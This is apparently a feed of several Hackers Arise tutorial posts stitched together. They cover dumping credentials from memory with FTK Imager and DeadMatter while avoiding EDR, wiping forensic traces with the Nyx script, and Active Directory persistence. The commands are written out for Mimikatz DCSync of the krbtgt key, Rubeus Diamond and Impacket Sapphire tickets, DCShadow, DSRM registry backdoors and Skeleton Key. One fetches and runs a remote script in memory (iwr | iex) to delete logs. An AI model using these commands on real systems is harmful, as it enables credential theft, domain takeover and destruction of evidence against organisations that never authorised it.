If you’ve ever tried dumping LSASS or extracting SAM and SYSTEM hives, you’ve seen the EDR block your attempts. There are legit ways to do it, for instance with reg.exe or Task Manager, but these have been abused for so long that they can’t be relied on anymore. Despite all that, dumping hashes is really easy if you do a complete memory dump with forensics tools and pull the hashes from the dump. These tools don’t just target LSASS, they do a full memory dump that includes everything. That’s what’s supposed to happen during incident response procedures, so nothing gets flagged and it won’t, because that would interfere with security work.
Today we want to show you how to use FTK Imager with DeadMatter to extract different credentials. FTK Imager needs a GUI, so if you don’t have it try running DumpIt from CLI instead. It’s available on GitHub.
DeadMatter is written in C# and its whole job is to extract sensitive information from memory dumps. It scans raw data to find patterns associated with credentials, that way you can recover them even when the memory dump is incomplete or the format isn’t predictable. The tool is also lightweight and isn’t flagged by AV/EDR, so you can extract hashes on the victim machine directly without transferring these huge files around. The results include NTLM hashes, DPAPI keys, and other artifacts tied to logon sessions. The tool was first presented at Black Hat USA 2025.
The repository for DeadMatter doesn’t include a precompiled binary and you will need to build it yourself. You can do it with Visual Studio or using the .NET Framework.
If you choose to compile it manually, you can clone the repository and execute the build process from PowerShell.
PS > dotnet build -c release
Once it completes, Deadmatter.exe will be in the bin\Release directory. The build process usually completes without issues, if you have the required .NET components installed correctly.
If you prefer not to compile the tool yourself or run into problems during the process, you can use our compiled version to save time. We uploaded the compiled executable to our GitHub.
Before moving forward, it is important to understand that this technique relies on the ability to extract credentials from memory, which is significantly affected by the state of Credential Guard. If Credential Guard is enabled, credentials are isolated and you won’t be able to access them.
But in many environments with Windows 10 Pro or Windows Server versions prior to 2025, Credential Guard is often disabled. These systems are still widely used across corporate infrastructures. Newer deployments usually have it enabled by default now. To avoid unnecessary effort you can check the status of Credential Guard before proceeding.
PS > Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
If it shows that it’s disabled {0}, you can proceed with memory acquisition.
We used FTK Imager to capture RAM. You just need open the app and click “Capture Memory”
Then you specify the name and the destination path. The default settings are enough.
Our next step is exfiltration. Modern systems often have large amounts of RAM. Servers commonly have 16-32GB as a baseline, and systems that have Microsoft Exchange may have significantly more. A raw memory dump of this size can be quite large, but you can compress it with 7z. It’s possible to reduce it from 32GB down to 12 GB, if you don’t want to run DeadMatter directly on the compromised system.
Once the dump is transferred, you can extract creds. To process a full memory dump in raw format using structured parsing and carving, run this:
PS > .\Deadmatter.exe -f memory_dump.raw
The output is quite detailed. As you scroll through the results, you will find different credentials associated with active or recently active sessions on the system.
If you want to rely purely on carving methods, you can ignore structured parsing and search the raw data directly:
PS > .\Deadmatter.exe -f memory_dump.raw -m carveWhen you work with a minidump file and want to use a specific parsing method, you can define the technique and the Windows version:
PS > .\Deadmatter.exe -f lsass.dmp -m mimikatz -w WIN_10_1507 -vThere are also more advanced options available. For instance, you can extract both credentials and DPAPI keys with additional brute-forcing to find initialization vectors within the data:
PS > .\Deadmatter.exe -f memory_dump.raw -b -dTry different methods and see if you can find more information.
To protect yourself from these attacks, make sure Credential Guard is on. It’ll make the credentials inaccessible. It’s also a good idea to monitor which forensic tools are being used. Ideally, keep a whitelist of approved tools that way you can spot someone trying to do a dump without authorization.
While defenders should have a red team mindset, hackers should have a blue team mindset to know how things work on the other side. Digital forensics is a great field and applies to both sides. Extracting credentials from systems is just one of its uses, more advanced knowledge can help you with behavior analysis and evasion.
If you want to learn more about Digital Forensics, we have training for beginners and for those who want to advance their skills in it.
The post Digital Forensics: Extracting Credentials with DeadMatter first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors!
During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.
Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC.
But it does not help with removing all forensic traces that already exist throughout the operating system.
There is a different tool that focuses specifically on that task called Nyx.
Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.
Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.
Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.
Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.
Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.
Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.
Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.
We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.
PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1
PS > .\nyx.ps1 -DryRun
Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform.
Let’s clean them now.
PS > .\nyx.ps1
At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.
The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.
PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex
If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.
Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.
If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.
bash# > bash nyx.sh -n 
As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.
Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.
If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.
The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.
GodDamn ransomware's PoisonX driver is a textbook EDR bypass driver: a Microsoft-signed kernel driver that kills security tools instead of exploiting them.
How the GodDamn Ransomware Driver Bypasses Your EDR on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
Welcome back, aspiring hackers!
One of the biggest misconceptions beginners have about hacking is the idea that gaining access is the final objective. Imagine spending days crafting payloads, bypassing antivirus protections, evading EDR solutions, phishing credentials, and finally landing a working beacon inside a target environment. Everything works perfectly. Then the user reboots the machine and your session disappears. Maybe the IT department pushes a patch. Maybe passwords get rotated overnight. Maybe your process crashes. Just like that, your foothold is gone and all the work leading up to it disappears with it.
This is why persistence matters so much in red team work and cyber espionage. Advanced threat groups build layers of access designed to survive disruptions, investigations, credential changes, and even defensive cleanup attempts. If one persistence mechanism fails, there is another one.
Groups such as Lazarus Group, Cozy Bear, Volt Typhoon, Salt Typhoon, and Turla invest heavily in persistence techniques because maintaining access is valuable.
The defensive side of this topic is equally important. Blue teams, SOC analysts, DFIR investigators, and threat hunters need to understand persistence because these are exactly the tricks attackers use to maintain long-term access. If defenders only focus on initial compromise indicators, they may completely miss the mechanisms keeping attackers alive inside the environment. Persistence techniques are often subtle, deeply integrated into operating systems, and designed to blend into normal administrative activity.
Today we are going to explore The Art of Staying In by DbgMan.
The Art of Staying In is one of the most comprehensive persistence guides available. The guide covers persistence across Windows, Linux, macOS, Active Directory and cloud environments. Topics range from Windows Registry persistence and Scheduled Tasks to WMI Event Subscriptions, Services, DLL Hijacking, COM Hijacking, UEFI bootkits, Azure AD abuse, AWS IAM persistence, and GCP persistence mechanisms.
The guide also maps techniques to the MITRE ATT&CK framework under TA0003 Persistence and explains how real APT groups use these techniques during operations. One of the strongest aspects of the guide is that it does not only show the offensive side. It also discusses OPSEC considerations, detection opportunities, and practical tradecraft.
We are not going to cover every persistence mechanism discussed in the guide because that would require an entire book by itself. Instead, we will focus on several particularly interesting Active Directory persistence techniques that demonstrate how modern hackers maintain access inside enterprise environments.
One of the most important areas of persistence today is Active Directory persistence. In enterprise environments, Active Directory becomes the nervous system of the organization. Whoever controls Active Directory often controls the entire infrastructure.
Linux persistence is also important, but we already demonstrated some of its techniques in previous articles.
There are many persistence techniques in Active Directory, and we are not going to revisit the classic Golden Ticket and Silver Ticket attacks in detail since they are already widely known. Instead, we will focus on several less commonly discussed persistence mechanisms that are relevant.
A Diamond Ticket is an advanced Kerberos persistence technique that improves upon the traditional Golden Ticket approach.
To understand why it is stealthier, we first need to briefly understand how Kerberos works. In Active Directory, users authenticate through the Key Distribution Center, commonly called the KDC. During authentication, the KDC issues a Ticket Granting Ticket, or TGT, which later allows the user to request access to services across the domain.
A Golden Ticket is fully forged from scratch. The hacker creates an artificial TGT without ever legitimately communicating with the KDC. It’s detected because defenders can sometimes identify TGTs that were never preceded by legitimate authentication requests.
A Diamond Ticket works differently. Instead of fully forging the ticket, the hacker first obtains a legitimate TGT from the real KDC. The hacker then decrypts the ticket using the KRBTGT account hash, modifies the Privilege Attribute Certificate, commonly called the PAC, injects elevated privileges, and re-encrypts the ticket before using it. Because the ticket originates from a legitimate Kerberos flow, it blends in much more naturally with normal authentication traffic.
For this attack we will use both Mimikatz and Rubeus. Keep in mind that this attack requires Domain Admin privileges or equivalent replication rights.
The first step is obtaining the KRBTGT AES256 key. We can retrieve the hash using the DCSync attack in Mimikatz.
PS > mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt"
After scrolling through the output, you will eventually locate the aes256_hmac entry. That is the value we need.
Next we move to Rubeus.
Rubeus.exe diamond /krbkey:<KRBTGT_AES256> /user:lowpriv /password:P@ssw0rd123 /enctype:aes256 /ticketuser:Administrator /domain:domain.local /ticketuserid:500 /groups:512,519 /ldap /opsec /nowrap
# add /output:admin.kirbi if you need it
This command requests a legitimate TGT for the lowpriv user, modifies it, and injects elevated privileges associated with the Administrator account and highly privileged domain groups. You will notice two Base64 blobs displayed on the screen. The second blob is the one you need. If you prefer working directly from Windows, adding the /ptt parameter will inject the ticket directly into the current session.
If you want to use the ticket from Linux, you can decode and convert it into a Kerberos credential cache.
kali > echo "BASE64" | base64 -d > lowpriv.kirbi
kali > impacket-ticketConverter lowpriv.kirbi lowpriv.ccache
kali > export KRB5CCNAME=lowpriv.ccache
kali > nxc smb domain.local --use-kcache
Once the ccache file is loaded, tools from the Impacket or NetExec can authenticate using the injected Kerberos ticket without requiring plaintext credentials.
A Sapphire Ticket is considered one of the most advanced Kerberos abuse techniques currently discussed publicly. Instead of forging PAC information, the attacker extracts the legitimate PAC from a privileged user through S4U delegation functionality and embeds that authentic PAC into a modified ticket. Traditional forged tickets contain artificial PAC data created by the hacker. Sapphire Tickets instead reuse legitimate authorization data generated by the domain itself. As a result, the ticket appears far more authentic during validation checks.
Even Microsoft’s PAC hardening efforts introduced in recent years did not completely eliminate this technique because the PAC itself remains legitimate.
Here is an example using Impacket.
kali > python3 ticketer.py -request -domain domain.local -user lowpriv -password 'P@ssw0rd123' -aesKey <KRBTGT_AES256> -domain-sid S-1-5-21-XXXXXXXX -impersonate Administrator domain.local
Tickets like these are commonly valid for around ten hours by default because they inherit normal Kerberos lifetime settings. While it is technically possible to extend ticket lifetimes, doing so is usually not a good OPSEC decision. Long-lived tickets can stand out during investigations and anomaly hunting.
Detection becomes significantly harder because nearly every component of the ticket originates from real domain-generated data.
DCShadow is one of the Active Directory persistence techniques that abuses the very replication mechanisms Active Directory depends on internally. Normally, Domain Controllers replicate changes between each other automatically. Security monitoring solutions often trust this replication traffic because it is considered legitimate domain behavior.
The hackers temporarily registers a rogue machine as a fake Domain Controller and pushes arbitrary changes into Active Directory through replication protocols. Since the modifications appear to originate from legitimate DC replication activity, many standard logging mechanisms either miss the activity entirely or fail to generate alerts.
This attack requires Domain Admin privileges.
For the setup, we will need two separate administrative shells. One shell needs to run as NT AUTHORITY\SYSTEM because some replication operations must originate from the computer account context. The second shell will be a Domain Admin PowerShell session.
First we elevate the shell with PsExec.
PS > .\PsExec.exe \\delivery -u sekvoya.local\service_adm -p P@ssw0rd123! -s powershellNext we run Mimikatz and modify the target account.
PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /object:CN=lowpriv,CN=Users,DC=sekvoya,DC=local /attribute:primaryGroupID /value:512" "exit"
This prepares the modification that will promote the user into Domain Admin privileges.
Then, from the second administrative window, we push the changes.
PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /push" "exit"
Once the push completes, the user becomes a member of Domain Admins through replication-based manipulation.
Defenders often focus heavily on authentication logs and endpoint alerts while overlooking replication-layer abuse. In mature environments, this technique can be difficult to investigate if replication monitoring is not configured properly.
Every Domain Controller contains a local Directory Services Restore Mode administrator account, commonly called the DSRM account.
This account acts as a break-glass recovery mechanism for restoring or repairing Active Directory services. During Domain Controller promotion, administrators set the DSRM password once and then frequently forget about it entirely. In many environments, the password remains unchanged for years. By default, the DSRM account cannot normally authenticate over the network while the domain is operating normally. However, a registry modification can change that behavior.
First, we connect to the Domain Controller and dump the local SAM database.
PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
This gives us the local Administrator hash associated with the DSRM account.
Next we enable network logon functionality for the DSRM account.
PS > reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /fAfter modifying the registry value, the DSRM account can authenticate remotely even while Active Directory is fully operational.
Skeleton Key is another classic but still interesting persistence technique.
Instead of modifying Kerberos tickets or replication data, Skeleton Key patches LSASS memory directly on the Domain Controller. Once patched, the Domain Controller accepts a universal master password for every domain account while still continuing to accept users’ legitimate passwords normally. From the users’ perspective, nothing appears broken. Everyone continues logging in as usual. Meanwhile, the hacker gains the ability to authenticate as any user using the injected master password.
By default, the password used by Mimikatz for Skeleton Key is mimikatz.
Here is the command:
PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'
The major limitation of Skeleton Key is that it exists only in memory. Rebooting the Domain Controller removes the patch unless the hacker has another persistence mechanism ready to reapply it automatically.
There are many additional persistence mechanisms inside Active Directory that deserve exploration. Techniques such as AdminSDHolder abuse, DCSync persistence, SID History injection, malicious Group Policy modifications, rogue certificates, shadow credentials, and ACL backdoors all provide different ways to maintain long-term access. Some persistence mechanisms survive password changes. Others survive operating system reinstalls. Some operate at firmware or bootloader level and remain active even after defenders believe systems were fully cleaned.
Hackers don’t rely on one method. They layer persistence strategically.
Persistence is about maintaining access without drawing attention. Some persistence mechanisms are intentionally sacrificial. They exist to distract defenders while more stealthy footholds remain hidden deeper in the environment. Others function as emergency backup access in case primary infrastructure fails.
Good hackers also think carefully about timing, ticket lifetimes, authentication frequency, endpoint visibility, and how blue teams actually investigate incidents. A persistence mechanism that technically works but constantly generates suspicious logs is often more dangerous to the hacker than useful.
The guide includes multiple APT case studies that demonstrate how real threat actors maintain persistence during long-term operations. Studying persistence from both offensive and defensive viewpoints helps build a much deeper understanding of how enterprise compromises actually unfold over time.
Persistence is one of the defining characteristics of advanced offensive operations. Initial compromise may get attackers into an environment, but persistence is what allows them to remain there long enough to achieve strategic objectives.
Modern persistence techniques have evolved far beyond simple startup folder payloads and registry run keys. Today’s hackers manipulate Kerberos internals, abuse Active Directory replication, patch authentication processes in memory, hijack recovery accounts and leverage legitimate administrative functionality to blend into enterprise traffic.
If you like what we’re doing here, check out our Cyberwarrior Path training. It’s a comprehensive three-year program. We dive deep into the technology, how it works, and how to break it. There are many courses available in this training program. Complete the program, and you’ll graduate as a certified Cyberwarrior.
The post Advanced Persistence: A Complete Guide on Persistence first appeared on Hackers Arise.
